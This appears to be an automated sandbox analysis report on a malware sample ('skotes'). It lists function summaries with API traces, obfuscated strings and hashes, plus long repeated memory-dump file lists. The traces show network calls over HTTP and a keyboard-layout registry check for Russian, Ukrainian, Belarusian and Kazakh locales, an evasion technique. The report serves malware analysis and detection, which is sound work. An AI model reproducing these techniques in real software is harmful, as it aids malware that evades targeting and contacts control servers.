Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 7c09aeabb3d62ab6ddad5e5bd6e67f133ad3cf2d5e50024c19bd298cd661c5f0
Instruction ID: 10798bbe61f64d771386a080f550e140070327f8f570bcb980e485ad250de77c
Opcode Fuzzy Hash: 7c09aeabb3d62ab6ddad5e5bd6e67f133ad3cf2d5e50024c19bd298cd661c5f0
Instruction Fuzzy Hash: 46F25A71A001889BEF19DB38CD8979DBB72AF81304F10C299E449A73D6DB759EC48F91

Function 009DBE30 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,56D4C919,?,00000000), ref: 009DBEB8
InternetOpenW.WININET(00A28DC8,00000000,00000000,00000000,00000000), ref: 009DBEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 009DBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 009DBF36
HttpSendRequestA.WININET(?,00000000), ref: 009DBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 009DC0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 009DC161
InternetCloseHandle.WININET(?), ref: 009DC187
InternetCloseHandle.WININET(?), ref: 009DC18F
InternetCloseHandle.WININET(?), ref: 009DC197

Strings

invalid stoi argument, xrefs: 009DE4F4
8HJUeMD Lq5=, xrefs: 009DC465
RE1NXF==, xrefs: 009DBF0E
8HJUeIfzLo==, xrefs: 009DC3CB, 009DC623
stoi argument out of range, xrefs: 009DE4EA
H, xrefs: 009DCB06, 009DCCE4

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$H$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-485818228
Opcode ID: 84a1ef0f9b2cdeb1ce5b88a74bc6c88dced3164fcf2deb95034a187dca3c06f4
Instruction ID: 572eaa080a72a0227d5540b10dd76ab28199ad669d0a4570fdb65073a358522b
Opcode Fuzzy Hash: 84a1ef0f9b2cdeb1ce5b88a74bc6c88dced3164fcf2deb95034a187dca3c06f4
Instruction Fuzzy Hash: CDB1F4B1A00159ABDB28CF28CC85B9EBB79EF85304F5085AAF509973D1D7309AC4CF95

Function 009D7D30 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 009D7ED3

Strings

JjssPV==, xrefs: 009D81E2
JjsrQV==, xrefs: 009D8092
`, xrefs: 009D7DEA
JjsrPl==, xrefs: 009D828A
`F, xrefs: 009D7F75, 009D805A, 009D8102, 009D81AA, 009D8252
JjssOl==, xrefs: 009D813A

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$`F$`
API String ID: 1721193555-19819970
Opcode ID: e50b748daacf5b20a20732be98287b90a8a3f47ecb79c89256f6ae8a9005f3d1
Instruction ID: 1a6aed21e085758ec7e3c3d2d3867546e933d1fceebba814074fcc1250973adb
Opcode Fuzzy Hash: e50b748daacf5b20a20732be98287b90a8a3f47ecb79c89256f6ae8a9005f3d1
Instruction Fuzzy Hash: B6E12B71E40244A7DF15FB68DC0779EB761AB81710F94869DE419A73C2DB354F818BC2

Function 009D6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 009D617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 009D6271

Strings

00000423, xrefs: 009D60FA
0000043f, xrefs: 009D612B
00000422, xrefs: 009D60C9
00000419, xrefs: 009D6098
Keyboard Layout\Preload, xrefs: 009D6054

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 63bdd0264a332fc5fe8a69afd257ed3226d2c401258b40ac79490adc6be6799d
Instruction ID: c5580f92d9624175a63e3b60b8e969a53de72aba760864a39aa0b306ccebb72c
Opcode Fuzzy Hash: 63bdd0264a332fc5fe8a69afd257ed3226d2c401258b40ac79490adc6be6799d
Instruction Fuzzy Hash: 0FB1AC719402689BEB25DB64CC84BDEB779AB04300F4442E9F508E7291DB74AFE8CF95

Function 00A11ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A11775: CreateFileW.KERNEL32(00000000,00000000,?,00A11B65,?,?,00000000,?,00A11B65,00000000,0000000C), ref: 00A11792

__dosmaperr.LIBCMT ref: 00A11BD7
GetFileType.KERNEL32(00000000), ref: 00A11BE3
__dosmaperr.LIBCMT ref: 00A11BF6
__dosmaperr.LIBCMT ref: 00A11D9C

Strings

H, xrefs: 00A11D21

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
